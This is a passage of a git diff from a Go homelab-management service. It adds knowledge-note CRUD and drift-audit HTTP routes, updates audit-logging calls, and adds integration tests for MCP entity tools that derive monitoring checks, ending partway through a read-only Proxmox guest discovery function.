func (s *Server) linkKnowledgeAbout(ctx context.Context, tx pgx.Tx, docID uuid.UUID, slugs []string) []string {
|
||||||
|
linked := []string{}
|
||||||
|
for _, raw := range slugs {
|
||||||
|
slug := strings.TrimSpace(raw)
|
||||||
|
if slug == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var targetID uuid.UUID
|
||||||
|
if err := tx.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, slug).Scan(&targetID); err != nil {
|
||||||
|
slog.Warn("knowledge: about slug not found, skipping", "slug", slug)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
INSERT INTO relationships (source_id, target_id, type, attributes, valid_from)
|
||||||
|
SELECT $1, $2, 'about', '{"by":"operator"}'::jsonb, now()
|
||||||
|
WHERE NOT EXISTS (
|
||||||
|
SELECT 1 FROM relationships
|
||||||
|
WHERE source_id = $1 AND target_id = $2 AND type = 'about' AND valid_to IS NULL)`,
|
||||||
|
docID, targetID); err != nil {
|
||||||
|
slog.Warn("knowledge: link failed", "slug", slug, "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
linked = append(linked, slug)
|
||||||
|
}
|
||||||
|
return linked
|
||||||
|
}
|
||||||
|
|
||||||
|
// normalizeTags trims, lowercases and de-duplicates while preserving order.
|
||||||
|
// Lowercasing is the fix for the casing drift already in the data — `oom`
|
||||||
|
// and `OOM` were separate tags on separate notes, so neither tag page showed
|
||||||
|
// the full set. Applied on every write so the split can't reopen.
|
||||||
|
func normalizeTags(in []string) []string {
|
||||||
|
seen := map[string]bool{}
|
||||||
|
out := []string{}
|
||||||
|
for _, t := range in {
|
||||||
|
t = strings.ToLower(strings.TrimSpace(t))
|
||||||
|
if t == "" || seen[t] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[t] = true
|
||||||
|
out = append(out, t)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func deref(p *string) string {
|
||||||
|
if p == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return *p
|
||||||
|
}
|
||||||
|
|
||||||
|
func derefSlice(p *[]string) []string {
|
||||||
|
if p == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return *p
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeJSON is the success-path counterpart to writeProblem, so the handlers
|
||||||
|
// in this file don't each repeat the header/encode dance.
|
||||||
|
func writeJSON(w http.ResponseWriter, v any) {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
if err := json.NewEncoder(w).Encode(v); err != nil {
|
||||||
|
slog.Error("httpapi: json encode failed", "error", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -155,14 +155,14 @@ func (s *Server) GetTrends(ctx context.Context, req gen.GetTrendsRequestObject)
|
|||||||
f, _ := slopeNum.Float64Value()
|
f, _ := slopeNum.Float64Value()
|
||||||
t.Slope = float32Ptr(float32(f.Float64))
|
t.Slope = float32Ptr(float32(f.Float64))
|
||||||
if f.Float64 > 0.01 {
|
if f.Float64 > 0.01 {
|
||||||
t.Direction = gen.Improving
|
t.Direction = gen.TrendDirectionImproving
|
||||||
} else if f.Float64 < -0.01 {
|
} else if f.Float64 < -0.01 {
|
||||||
t.Direction = gen.Degrading
|
t.Direction = gen.TrendDirectionDegrading
|
||||||
} else {
|
} else {
|
||||||
t.Direction = gen.Stable
|
t.Direction = gen.TrendDirectionStable
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
t.Direction = gen.Unknown
|
t.Direction = gen.TrendDirectionUnknown
|
||||||
}
|
}
|
||||||
items = append(items, t)
|
items = append(items, t)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -111,6 +111,7 @@ func (s *Server) PatchPattern(ctx context.Context, req gen.PatchPatternRequestOb
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "patch",
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "patch",
|
||||||
&id, "PATCH", "/api/v1/patterns/"+req.Id, "",
|
&id, "PATCH", "/api/v1/patterns/"+req.Id, "",
|
||||||
|
nil,
|
||||||
map[string]any{"status": req.Body.Status, "quarantined": req.Body.Quarantined}); auditErr != nil {
|
map[string]any{"status": req.Body.Status, "quarantined": req.Body.Quarantined}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -65,6 +65,7 @@ func (s *Server) CreateRelationship(ctx context.Context, req gen.CreateRelations
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||||
nil, "POST", "/api/v1/relationships", "",
|
nil, "POST", "/api/v1/relationships", "",
|
||||||
|
nil,
|
||||||
map[string]any{"source": req.Body.Source, "target": req.Body.Target, "type": req.Body.Type}); auditErr != nil {
|
map[string]any{"source": req.Body.Source, "target": req.Body.Target, "type": req.Body.Type}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -108,6 +109,7 @@ func (s *Server) EndRelationship(ctx context.Context, req gen.EndRelationshipReq
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "delete",
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "delete",
|
||||||
nil, "DELETE", "/api/v1/relationships", "",
|
nil, "DELETE", "/api/v1/relationships", "",
|
||||||
|
nil,
|
||||||
map[string]any{"source": req.Params.Source, "target": req.Params.Target, "type": req.Params.RelType}); auditErr != nil {
|
map[string]any{"source": req.Params.Source, "target": req.Params.Target, "type": req.Params.RelType}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -109,8 +109,19 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
|||||||
// /api/v1/events/stream — in OpenAPI but re-registered for SSE Flush()
|
// /api/v1/events/stream — in OpenAPI but re-registered for SSE Flush()
|
||||||
// /api/v1/knowledge/recent — ad-hoc aggregation, no schema type yet
|
// /api/v1/knowledge/recent — ad-hoc aggregation, no schema type yet
|
||||||
// /api/v1/knowledge/content/{id} — returns raw markdown, not a gen type
|
// /api/v1/knowledge/content/{id} — returns raw markdown, not a gen type
|
||||||
|
// /api/v1/knowledge/list — full tree listing, ad-hoc aggregate
|
||||||
|
// /api/v1/knowledge (POST) — markdown in, no gen type
|
||||||
|
// /api/v1/knowledge/content/{id} (PUT/DELETE) — markdown in, soft delete
|
||||||
|
// /api/v1/knowledge/trash — soft-deleted notes, ad-hoc
|
||||||
|
// /api/v1/knowledge/restore/{id} — undo a soft delete, no gen type
|
||||||
|
// /api/v1/knowledge/revisions/{id} — version history, no schema type
|
||||||
|
// /api/v1/knowledge/tags{,/rename} — tag index + bulk rewrite
|
||||||
|
// /api/v1/knowledge/duplicates — trigram clustering, ad-hoc
|
||||||
|
// /api/v1/knowledge/orphans — derived maintenance view
|
||||||
|
// /api/v1/knowledge/merge — bulk fold-in, ad-hoc
|
||||||
// /api/v1/activity/recent — recency-ordered, not paginated
|
// /api/v1/activity/recent — recency-ordered, not paginated
|
||||||
// /api/v1/activity/session/{id} — session-scoped aggregation
|
// /api/v1/activity/session/{id} — session-scoped aggregation
|
||||||
|
// /api/v1/executions/{id}/logs — streamed command output, no schema type
|
||||||
// /api/v1/learning/timeline — derived view, no backing schema type
|
// /api/v1/learning/timeline — derived view, no backing schema type
|
||||||
// /api/v1/learning/trend — derived view, no backing schema type
|
// /api/v1/learning/trend — derived view, no backing schema type
|
||||||
//
|
//
|
||||||
@@ -202,11 +213,45 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Hand
|
|||||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/content/{id}", s.serveKnowledgeContent)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/content/{id}", s.serveKnowledgeContent)
|
||||||
|
|
||||||
|
// Custom (non-OpenAPI) routes: the operator-facing knowledge CRUD surface
|
||||||
|
// (see internal/httpapi/knowledge_write.go) and the drift tooling (see
|
||||||
|
// knowledge_drift.go). Before these, knowledge could only be written by
|
||||||
|
// the agent through the MCP upsert_knowledge tool — the web UI had no way
|
||||||
|
// to create, correct or retire a note.
|
||||||
|
//
|
||||||
|
// Registered on the base router rather than through the OpenAPI codegen
|
||||||
|
// for the same reason as the read routes above: they trade in raw
|
||||||
|
// markdown and ad-hoc aggregates, not generated schema types.
|
||||||
|
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/list", s.serveKnowledgeList)
|
||||||
|
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge", s.serveCreateKnowledge)
|
||||||
|
r.With(combinedAuth(cfg, false)).Put("/api/v1/knowledge/content/{id}", s.serveUpdateKnowledge)
|
||||||
|
r.With(combinedAuth(cfg, false)).Delete("/api/v1/knowledge/content/{id}", s.serveDeleteKnowledge)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/trash", s.serveKnowledgeTrash)
|
||||||
|
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/restore/{id}", s.serveRestoreKnowledge)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/revisions/{id}", s.serveKnowledgeRevisions)
|
||||||
|
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/tags", s.serveKnowledgeTags)
|
||||||
|
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/tags/rename", s.serveRenameKnowledgeTag)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/duplicates", s.serveKnowledgeDuplicates)
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/orphans", s.serveKnowledgeOrphans)
|
||||||
|
r.With(combinedAuth(cfg, false)).Post("/api/v1/knowledge/merge", s.serveMergeKnowledge)
|
||||||
|
|
||||||
|
// Drift audit: read-only DB-side report of orphan checks, checks on
|
||||||
|
// retired targets, stuck down/unknown probes, unmonitored declared types,
|
||||||
|
// and dangling edges. Companion to the knowledge-graph-audit skill.
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/audit/drift", s.serveAuditDrift)
|
||||||
|
|
||||||
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
|
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
|
||||||
// unlike ListExecutions which sorts by target for pagination) and the
|
// unlike ListExecutions which sorts by target for pagination) and the
|
||||||
// per-session "what did this session do" digest.
|
// per-session "what did this session do" digest.
|
||||||
// (See "Non-OpenAPI routes" carve-out block above.)
|
// (See "Non-OpenAPI routes" carve-out block above.)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/recent", s.serveRecentActivity)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/recent", s.serveRecentActivity)
|
||||||
|
// Streamed command output for one execution — a projection over
|
||||||
|
// execution_logs with no schema type yet (same carve-out rationale as
|
||||||
|
// /activity/recent above). Nests cleanly under the generated
|
||||||
|
// /executions/{id} subtree: chi accepts sibling children on a param node.
|
||||||
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/executions/{id}/logs", s.serveExecutionLogs)
|
||||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/session/{id}", s.serveSessionDigest)
|
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/session/{id}", s.serveSessionDigest)
|
||||||
|
|
||||||
// Learning view: capability timeline + success trend, both derived from
|
// Learning view: capability timeline + success trend, both derived from
|
||||||
@@ -349,10 +394,10 @@ func staticTokenActor(cfg config.Config, raw string) (actor, bool) {
|
|||||||
// jwtVerificationKey holds a parsed RSA public key or HMAC secret for JWT
|
// jwtVerificationKey holds a parsed RSA public key or HMAC secret for JWT
|
||||||
// verification, identified by its key ID (kid).
|
// verification, identified by its key ID (kid).
|
||||||
type jwtVerificationKey struct {
|
type jwtVerificationKey struct {
|
||||||
Kid string
|
Kid string
|
||||||
Alg string
|
Alg string
|
||||||
Key any // *rsa.PublicKey or []byte for HMAC
|
Key any // *rsa.PublicKey or []byte for HMAC
|
||||||
IsHMAC bool
|
IsHMAC bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// discoverJWKSURI fetches the OIDC discovery document and extracts the
|
// discoverJWKSURI fetches the OIDC discovery document and extracts the
|
||||||
@@ -598,8 +643,8 @@ func resolveOIDCTokenURL(issuer string) string {
|
|||||||
func (s *Server) serveOIDCConfig(w http.ResponseWriter, _ *http.Request, cfg config.Config) {
|
func (s *Server) serveOIDCConfig(w http.ResponseWriter, _ *http.Request, cfg config.Config) {
|
||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
json.NewEncoder(w).Encode(map[string]string{
|
json.NewEncoder(w).Encode(map[string]string{
|
||||||
"issuer": cfg.OIDCIssuer,
|
"issuer": cfg.OIDCIssuer,
|
||||||
"client_id": cfg.OIDCClientID,
|
"client_id": cfg.OIDCClientID,
|
||||||
"authorization_endpoint": resolveOIDCEndpointURL(cfg.OIDCIssuer, "/authorize/"),
|
"authorization_endpoint": resolveOIDCEndpointURL(cfg.OIDCIssuer, "/authorize/"),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -863,4 +908,4 @@ func ListenAndServe(ctx context.Context, pool *db.Pool, cfg config.Config) error
|
|||||||
defer cancel()
|
defer cancel()
|
||||||
return srv.Shutdown(shutdownCtx)
|
return srv.Shutdown(shutdownCtx)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -136,6 +136,7 @@ func (s *Server) PatchSkill(ctx context.Context, req gen.PatchSkillRequestObject
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "patch",
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "patch",
|
||||||
&id, "PATCH", "/api/v1/skills/"+req.Id, "",
|
&id, "PATCH", "/api/v1/skills/"+req.Id, "",
|
||||||
|
nil,
|
||||||
map[string]any{"status": req.Body.Status, "pinned_version": req.Body.PinnedVersion}); auditErr != nil {
|
map[string]any{"status": req.Body.Status, "pinned_version": req.Body.PinnedVersion}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
|
|||||||
251
internal/mcp/create_entity_test.go
Normal file
251
internal/mcp/create_entity_test.go
Normal file
@@ -0,0 +1,251 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
// Integration tests for the entity-mutation MCP tools (create_entity,
|
||||||
|
// update_entity_attributes), focused on the capability gap that stranded
|
||||||
|
// session 23da10db: entities mutated via MCP must derive/regenerate checks the
|
||||||
|
// same way the HTTP create/patch paths do. Guarded by OIKOS_TEST_DATABASE_URL
|
||||||
|
// (see internal/db/integration_test.go); run via `make test-db`.
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/checkdefaults"
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||||
|
)
|
||||||
|
|
||||||
|
// newTestPool mirrors internal/httpapi/api_test.go: a throwaway database,
|
||||||
|
// migrated and seeded with ontology/inventory/policy so create_entity's type
|
||||||
|
// validation and checkdefaults derivation have a real type tree to work
|
||||||
|
// against.
|
||||||
|
func newTestPool(t *testing.T) *db.Pool {
|
||||||
|
t.Helper()
|
||||||
|
baseURL := os.Getenv("OIKOS_TEST_DATABASE_URL")
|
||||||
|
if baseURL == "" {
|
||||||
|
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||||
|
}
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
admin, err := pgx.Connect(ctx, baseURL)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connect admin: %v", err)
|
||||||
|
}
|
||||||
|
dbName := fmt.Sprintf("oikos_mcp_test_%08x", rand.Int63())
|
||||||
|
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||||
|
admin.Close(ctx)
|
||||||
|
t.Fatalf("create test db: %v", err)
|
||||||
|
}
|
||||||
|
admin.Close(ctx)
|
||||||
|
|
||||||
|
qi := strings.Index(baseURL, "?")
|
||||||
|
base, params := baseURL, ""
|
||||||
|
if qi >= 0 {
|
||||||
|
base, params = baseURL[:qi], baseURL[qi:]
|
||||||
|
}
|
||||||
|
testURL := base[:strings.LastIndex(base, "/")+1] + dbName + params
|
||||||
|
|
||||||
|
pool, err := db.New(ctx, testURL)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connect test db: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() {
|
||||||
|
pool.Close()
|
||||||
|
if admin, e := pgx.Connect(ctx, baseURL); e == nil {
|
||||||
|
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||||
|
admin.Close(ctx)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if err := pool.Migrate(ctx); err != nil {
|
||||||
|
t.Fatalf("migrate: %v", err)
|
||||||
|
}
|
||||||
|
for _, f := range []string{"ontology.yaml", "inventory.yaml", "policy.yaml"} {
|
||||||
|
content, err := os.ReadFile("../../seeds/" + f)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read seed %s: %v", f, err)
|
||||||
|
}
|
||||||
|
name := f
|
||||||
|
if err := pool.SeedIngest(ctx, name, content,
|
||||||
|
func(ctx context.Context, tx pgx.Tx, data map[string]any) error {
|
||||||
|
var err error
|
||||||
|
switch name {
|
||||||
|
case "ontology.yaml":
|
||||||
|
_, err = db.IngestOntologySeed(ctx, tx, data)
|
||||||
|
case "inventory.yaml":
|
||||||
|
_, err = db.IngestInventorySeed(ctx, tx, data)
|
||||||
|
case "policy.yaml":
|
||||||
|
_, err = db.IngestPolicySeed(ctx, tx, data)
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("ingest %s: %v", f, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return pool
|
||||||
|
}
|
||||||
|
|
||||||
|
// callTool invokes a registered tool's handler in-process and returns its
|
||||||
|
// concatenated text result.
|
||||||
|
func callTool(t *testing.T, pool *db.Pool, name string, args map[string]any) string {
|
||||||
|
t.Helper()
|
||||||
|
var handler toolHandler
|
||||||
|
for _, r := range allTools(pool, uuid.Nil) {
|
||||||
|
if r.tool.Name == name {
|
||||||
|
handler = r.handler
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if handler == nil {
|
||||||
|
t.Fatalf("tool %q not registered", name)
|
||||||
|
}
|
||||||
|
argsJSON, _ := json.Marshal(args)
|
||||||
|
res, err := handler(context.Background(), &mcp.CallToolRequest{Params: &mcp.CallToolParamsRaw{
|
||||||
|
Name: name,
|
||||||
|
Arguments: argsJSON,
|
||||||
|
}})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("tool %s returned error: %v", name, err)
|
||||||
|
}
|
||||||
|
var sb strings.Builder
|
||||||
|
for _, c := range res.Content {
|
||||||
|
if tc, ok := c.(*mcp.TextContent); ok {
|
||||||
|
sb.WriteString(tc.Text)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// checkCountFor returns the number of derived check_defs targeting slug.
|
||||||
|
func checkCountFor(t *testing.T, pool *db.Pool, slug string) int {
|
||||||
|
t.Helper()
|
||||||
|
var n int
|
||||||
|
err := pool.QueryRow(context.Background(),
|
||||||
|
`SELECT count(*) FROM check_defs cd
|
||||||
|
JOIN entities e ON e.id = cd.target_id
|
||||||
|
WHERE e.slug = $1`, slug).Scan(&n)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("count check_defs for %s: %v", slug, err)
|
||||||
|
}
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestCreateEntity_DerivesChecks proves create_entity inserts an entity AND
|
||||||
|
// derives its default checks in one call (the HTTP create path did this; the
|
||||||
|
// MCP path previously could not create at all).
|
||||||
|
func TestCreateEntity_DerivesChecks(t *testing.T) {
|
||||||
|
pool := newTestPool(t)
|
||||||
|
slug := "service:mcp-create-test"
|
||||||
|
|
||||||
|
out := callTool(t, pool, "create_entity", map[string]any{
|
||||||
|
"type": "service",
|
||||||
|
"slug": slug,
|
||||||
|
"name": "mcp-create-test",
|
||||||
|
"attributes": `{"url":"https://mcp-create-test.example"}`,
|
||||||
|
})
|
||||||
|
if !strings.Contains(out, "Created "+slug) {
|
||||||
|
t.Fatalf("create_entity result = %q, want Created %s", out, slug)
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "Derived") {
|
||||||
|
t.Errorf("create_entity result = %q, want a Derived check summary", out)
|
||||||
|
}
|
||||||
|
if got := checkCountFor(t, pool, slug); got < 1 {
|
||||||
|
t.Errorf("check_defs targeting %s = %d, want >=1 (create did not derive checks)", slug, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestCreateEntity_DuplicateAndInvalid covers the guard rails: a repeat create
|
||||||
|
// is reported as "already exists" (not an error), and an unknown type is
|
||||||
|
// rejected with a clear message.
|
||||||
|
func TestCreateEntity_DuplicateAndInvalid(t *testing.T) {
|
||||||
|
pool := newTestPool(t)
|
||||||
|
|
||||||
|
if out := callTool(t, pool, "create_entity", map[string]any{
|
||||||
|
"type": "service", "slug": "service:mcp-dup", "name": "mcp-dup",
|
||||||
|
}); !strings.Contains(out, "Created service:mcp-dup") {
|
||||||
|
t.Fatalf("first create = %q", out)
|
||||||
|
}
|
||||||
|
if out := callTool(t, pool, "create_entity", map[string]any{
|
||||||
|
"type": "service", "slug": "service:mcp-dup", "name": "mcp-dup",
|
||||||
|
}); !strings.Contains(out, "already exists") {
|
||||||
|
t.Errorf("duplicate create = %q, want 'already exists'", out)
|
||||||
|
}
|
||||||
|
if out := callTool(t, pool, "create_entity", map[string]any{
|
||||||
|
"type": "no-such-type", "slug": "no-such-type:x", "name": "x",
|
||||||
|
}); !strings.Contains(out, "not found in ontology") {
|
||||||
|
t.Errorf("unknown type = %q, want 'not found in ontology'", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestUpdateEntityAttributes_RegeneratesChecks is the regression guard for the
|
||||||
|
// haos session: setting an entity's `monitoring` attribute via MCP must
|
||||||
|
// regenerate checks. Before this fix the MCP update path skipped
|
||||||
|
// ensureDefaultChecks, so flipping monitoring produced nothing.
|
||||||
|
func TestUpdateEntityAttributes_RegeneratesChecks(t *testing.T) {
|
||||||
|
pool := newTestPool(t)
|
||||||
|
slug := "service:mcp-regen-test"
|
||||||
|
|
||||||
|
// Create with monitoring:none — no checks derived.
|
||||||
|
if out := callTool(t, pool, "create_entity", map[string]any{
|
||||||
|
"type": "service", "slug": slug, "name": "mcp-regen-test",
|
||||||
|
"attributes": `{"monitoring":"none","url":"https://mcp-regen.example"}`,
|
||||||
|
}); !strings.Contains(out, "Created "+slug) {
|
||||||
|
t.Fatalf("create = %q", out)
|
||||||
|
}
|
||||||
|
if got := checkCountFor(t, pool, slug); got != 0 {
|
||||||
|
t.Fatalf("check_defs with monitoring:none = %d, want 0", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Flip monitoring to [http] via update_entity_attributes — checks must
|
||||||
|
// regenerate. This is exactly what failed for service:haos.
|
||||||
|
out := callTool(t, pool, "update_entity_attributes", map[string]any{
|
||||||
|
"slug": slug,
|
||||||
|
"attributes": `{"monitoring":["http"]}`,
|
||||||
|
})
|
||||||
|
if !strings.Contains(out, "Updated "+slug) {
|
||||||
|
t.Fatalf("update result = %q, want Updated %s", out, slug)
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "Derived") {
|
||||||
|
t.Errorf("update result = %q, want a Derived check summary (regeneration)", out)
|
||||||
|
}
|
||||||
|
if got := checkCountFor(t, pool, slug); got < 1 {
|
||||||
|
t.Errorf("check_defs after monitoring:[http] = %d, want >=1 (MCP update did not regenerate checks)", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestUpdateEntityAttributes_NotFound keeps the existing error contract.
|
||||||
|
func TestUpdateEntityAttributes_NotFound(t *testing.T) {
|
||||||
|
pool := newTestPool(t)
|
||||||
|
out := callTool(t, pool, "update_entity_attributes", map[string]any{
|
||||||
|
"slug": "service:does-not-exist",
|
||||||
|
"attributes": `{"x":1}`,
|
||||||
|
})
|
||||||
|
if !strings.Contains(out, "not found") {
|
||||||
|
t.Errorf("update missing entity = %q, want 'not found'", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestFormatCheckResult is a pure unit test for the result-message helper, so
|
||||||
|
// the formatting contract holds even when the DB is unavailable.
|
||||||
|
func TestFormatCheckResult(t *testing.T) {
|
||||||
|
if got := formatCheckResult(checkdefaults.Result{Created: 2}); !strings.Contains(got, "Derived 2 check") {
|
||||||
|
t.Errorf("created-only = %q, want Derived 2", got)
|
||||||
|
}
|
||||||
|
got := formatCheckResult(checkdefaults.Result{Created: 1, Skipped: []checkdefaults.Skip{{Kind: "process", Reason: "no host"}}})
|
||||||
|
if !strings.Contains(got, "Derived 1 check") || !strings.Contains(got, "Skipped process") || !strings.Contains(got, "no host") {
|
||||||
|
t.Errorf("created+skipped = %q", got)
|
||||||
|
}
|
||||||
|
if got := formatCheckResult(checkdefaults.Result{Undeclared: true}); !strings.Contains(got, "no monitoring") {
|
||||||
|
t.Errorf("undeclared = %q, want no-monitoring hint", got)
|
||||||
|
}
|
||||||
|
if formatCreateResult("a", "b", checkdefaults.Result{Created: 0}) != "Created a (b)." {
|
||||||
|
t.Error("create result with no checks should have no suffix")
|
||||||
|
}
|
||||||
|
}
|
||||||
119
internal/mcp/discover.go
Normal file
119
internal/mcp/discover.go
Normal file
@@ -0,0 +1,119 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/dtoro/oikos/internal/execlog"
|
||||||
|
"github.com/dtoro/oikos/internal/remote"
|
||||||
|
)
|
||||||
|
|
||||||
|
// discoverInfraDrift compares the live Proxmox guests (pct/qm list on every
|
||||||
|
// proxmox host) against the DB graph, surfacing drift the DB-only audit
|
||||||
|
// cannot see: guests running with no entity (missing), and entities whose
|
||||||
|
// pve_id is no longer live (ghost). This is the auto-discover/validate half
|
||||||
|
// of the knowledge-graph audit skill — read-only, reaches hosts over the same
|
||||||
|
// SSH/pct path the checks use.
|
||||||
|
func discoverInfraDrift(ctx context.Context, pool *db.Pool) any {
|
||||||
|
// 1. proxmox hosts to query.
|
||||||
|
hostRows, err := pool.Query(ctx,
|
||||||
|
`SELECT slug FROM entities WHERE type='proxmox-host' AND COALESCE(state,'active')='active'`)
|
||||||
|
if err != nil {
|
||||||
|
return map[string]any{"error": "query hosts: " + err.Error()}
|
||||||
|
}
|
||||||
|
var hosts []string
|
||||||
|
for hostRows.Next() {
|
||||||
|
var s string
|
||||||
|
if hostRows.Scan(&s) == nil {
|
||||||
|
hosts = append(hosts, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
hostRows.Close()
|
||||||
|
|
||||||
|
// 2. DB guests keyed by pve_id.
|
||||||
|
type dbGuest struct {
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
PveID string `json:"pve_id"`
|
||||||
|
Host string `json:"host"`
|
||||||
|
}
|
||||||
|
dbGuests := map[string]dbGuest{}
|
||||||
|
gr, err := pool.Query(ctx,
|
||||||
|
`SELECT slug, type, COALESCE(attributes->>'pve_id',''), COALESCE(attributes->>'host','')
|
||||||
|
FROM entities WHERE type IN ('lxc','vm')`)
|
||||||
|
if err != nil {
|
||||||
|
return map[string]any{"error": "query guests: " + err.Error()}
|
||||||
|
}
|
||||||
|
for gr.Next() {
|
||||||
|
var g dbGuest
|
||||||
|
if gr.Scan(&g.Slug, &g.Type, &g.PveID, &g.Host) == nil && g.PveID != "" {
|
||||||
|
dbGuests[g.PveID] = g
|
||||||
|
}
|
||||||
|
}
|
||||||
|
gr.Close()
|
||||||
|
|
||||||
|
// 3. enumerate live guests from every host.
|
||||||
|
live := map[string]string{} // pve_id -> "host:name"
|
||||||
|
hostErrors := map[string]string{}
|
||||||
|
for _, hs := range hosts {
|
||||||
|
et, rerr := remote.ResolveExecTarget(ctx, pool, hs, sshUser)
|
||||||
|
if rerr != nil {
|
||||||
|
hostErrors[hs] = "resolve: " + rerr.Error()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
